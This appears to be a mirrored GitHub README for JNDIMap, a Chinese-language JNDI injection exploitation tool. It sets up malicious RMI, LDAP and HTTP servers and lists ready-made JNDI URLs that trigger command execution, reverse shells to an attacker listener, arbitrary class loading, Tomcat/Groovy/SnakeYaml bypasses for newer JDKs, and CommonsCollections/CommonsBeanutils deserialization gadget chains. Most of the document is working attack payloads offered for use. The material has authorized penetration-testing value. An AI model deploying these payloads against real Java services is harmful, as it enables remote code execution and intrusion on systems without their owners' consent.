Git Product home page Git Product logo

jndimap's Introduction

JNDIMap

JNDIMap 是一个 JNDI 注入利用工具, 支持 RMI 和 LDAP 协议

目前支持以下功能

  • DnsLog
  • 命令执行
  • 原生反弹 Shell (支持 Windows)
  • 加载自定义 Class 字节码
  • Tomcat/Groovy/SnakeYaml 绕过高版本 JDK
  • MLet 探测可用 Gadget
  • NativeLibLoader 加载动态链接库
  • LDAP 反序列化

Usage

Usage: java -jar JNDIMap.jar -h <httpHost> -r <rmiPort> -l <ldapPort> -p <httpPort>

RMI 和 LDAP 服务器监听地址默认为 0.0.0.0

httpHost: HTTP 服务器监听地址, 同时为 codebase 地址 (必须指定为一个目标服务器可访问到的地址, 例如 192.168.1.100, 不能用 0.0.0.0)

rmiPort: RMI 服务器监听端口, 默认为 1099

ldapPort: LDAP 服务器监听端口, 默认为 1389

httpPort: HTTP 服务器监听端口, 默认为 3456

JNDI URL

注意传入的 Base64 均为 Base64 URL 编码, 即把 +/ 替换为 -_

以下路由除 /Deserialize/* (LDAP 反序列化) 以外, 均支持 RMI 和 LDAP 协议

对于 RMI 协议, 只需要将 ldap://127.0.0.1:1389/ 替换为 rmi://127.0.0.1:1099/ 即可

# DnsLog
ldap://127.0.0.1:1389/Basic/DnsLog/xxx.dnslog.cn

# 命令执行
ldap://127.0.0.1:1389/Basic/Command/open -a Calculator
ldap://127.0.0.1:1389/Basic/Command/Base64/b3BlbiAtYSBDYWxjdWxhdG9yCg==

# 从字符串/服务器上的某个路径加载自定义的 Class 字节码
ldap://127.0.0.1:1389/Basic/FromCode/<base64-java-bytecode>
ldap://127.0.0.1:1389/Basic/FromPath/<base64-path-to-evil-class-file>

# 反弹 Shell (支持 Windows)
ldap://127.0.0.1:1389/Basic/ReverseShell/127.0.0.1/4444

# 以下 Bypass 方式支持 Basic 所有功能

# Tomcat Bypass
ldap://127.0.0.1:1389/TomcatBypass/Command/open -a Calculator

# Groovy Bypass
ldap://127.0.0.1:1389/GroovyClassLoader/Command/open -a Calculator
ldap://127.0.0.1:1389/GroovyShell/Command/open -a Calculator

# SnakeYaml Bypass
ldap://127.0.0.1:1389/SnakeYaml/Command/open -a Calculator

# MLet 探测可用 Gadget
# 如果 com.example.TestClass 这个类存在, 则 HTTP 服务器会接收到一个 /com/example/TestClass_exists.class 请求
ldap://127.0.0.1:1389/MLet/com.example.TestClass

# NativeLibLoader 加载动态链接库
# 需要通过其它方式在目标机器上写入一个 dll/so/dylib, 然后通过 NativeLibLoader 加载
# 注意传入的 path 为绝对路径, 且不能包含后缀名
# 例如: 服务器上存在 /tmp/evil.so, 则 path 为 /tmp/evil
ldap://127.0.0.1:1389/NativeLibLoader/<base64-path-to-native-library>

# 自定义数据 反序列化
ldap://127.0.0.1:1389/Deserialize/<base64-serialize-data>

# CommonsCollectionsK1 反序列化 (3.1 + TemplatesImpl), 支持命令执行和反弹 Shell
ldap://127.0.0.1:1389/Deserialize/CommonsCollectionsK1/Command/open -a Calculator
ldap://127.0.0.1:1389/Deserialize/CommonsCollectionsK1/Command/Base64/b3BlbiAtYSBDYWxjdWxhdG9yCg==
ldap://127.0.0.1:1389/Deserialize/CommonsCollectionsK1/ReverseShell/127.0.0.1/4444

# CommonsCollectionsK2 反序列化 (4.0 + TemplatesImpl), 功能同上
ldap://127.0.0.1:1389/Deserialize/CommonsCollectionsK2/Command/open -a Calculator

# CommonsCollectionsK3 反序列化 (3.1 + Runtime.exec), 仅支持命令执行
ldap://127.0.0.1:1389/Deserialize/CommonsCollectionsK3/Command/open -a Calculator
ldap://127.0.0.1:1389/Deserialize/CommonsCollectionsK3/Command/Base64/b3BlbiAtYSBDYWxjdWxhdG9yCg==

# CommonsCollectionsK4 反序列化 (4.0 + Runtime.exec), 功能同上
ldap://127.0.0.1:1389/Deserialize/CommonsCollectionsK4/Command/open -a Calculator

# CommonsBeanutils1NoCC 反序列化 (1.9.4, 无需 commons-collections 依赖), 使用 TemplatesImpl, 支持命令和反弹 Shell
ldap://127.0.0.1:1389/Deserialize/CommonsBeanutils1NoCC/Command/open -a Calculator
ldap://127.0.0.1:1389/Deserialize/CommonsBeanutils1NoCC/Command/Base64/b3BlbiAtYSBDYWxjdWxhdG9yCg==
ldap://127.0.0.1:1389/Deserialize/CommonsBeanutils1NoCC/ReverseShell/127.0.0.1/4444

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.